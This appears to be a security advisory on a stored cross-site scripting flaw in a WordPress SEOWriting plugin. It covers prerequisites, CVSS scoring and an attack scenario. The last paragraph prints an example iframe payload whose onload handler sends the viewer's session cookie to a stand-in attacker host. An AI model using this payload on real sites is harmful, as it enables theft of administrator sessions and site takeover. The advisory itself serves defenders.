SEOWriting Plugin CVE-2026-75134

Exploitation requires a valid Contributor-level (or higher) WordPress account on the target site - unauthenticated exploitation is not possible per the CVSS PR:L metric. A victim with Editor or Administrator privileges must actively open or preview the attacker-authored post (CVSS UI:P); automated triggering without victim interaction is not supported by the described mechanism. The SEOWriting plugin must be installed and active, and the target post must have been saved with the malicious iframe payload intact through the permissive KSES filter. No additional non-default server configuration is required - the vulnerable allowlist is part of the plugin's default code path. Exploitation risk is reduced on sites that disable open user registration, restrict Contributor role assignments to vetted personnel, or require administrator approval before posts are made accessible to other staff.

The CVSS 4.0 score of 5.1 (Medium) accurately captures the constrained exploitation prerequisites - Contributor-level authentication (PR:L) and passive victim interaction (UI:P) - but understates business impact in privileged-access scenarios: a payload executing in an Administrator's session can harvest session tokens, silently create rogue admin accounts, or install malicious plugins, all consistent with the 'Privilege Escalation' tag attached to this CVE. The subsequent-system impact metrics SC:L/SI:L reflect this cross-session reach. No EPSS data was provided for probabilistic cross-referencing; however, the publicly available PoC on GitHub materially lowers the attacker skill threshold, meaning the Contributor-authentication barrier is now the primary obstacle - not technical complexity. The absence of a CISA KEV listing suggests mass automated exploitation has not yet been observed, but even a mid-sized municipal IT team in tczew running a WordPress site with contributor-level editorial staff should treat this as an elevated near-term priority before the PoC is incorporated into automated WordPress scanning toolchains. CVSS indicates network vector with low privileges, which is consistent with the described web-based stored XSS; no vector conflicts are identified.

A threat actor registers or compromises a Contributor-level account on the target WordPress site, then crafts a post containing a payload such as <iframe src='about:blank' onload='fetch("https://attacker.example/log?"+document.cookie)'></iframe> and submits it for editorial review. When an Administrator or Editor opens the post preview, the onload handler fires in their authenticated browser session, exfiltrating the session cookie to the attacker's server. The publicly available PoC on GitHub (https://github.com/Elymaro/CVE/blob/main/WordPress/CVE-2026-75134.md) confirms this scenario is reproducible with minimal attacker skill.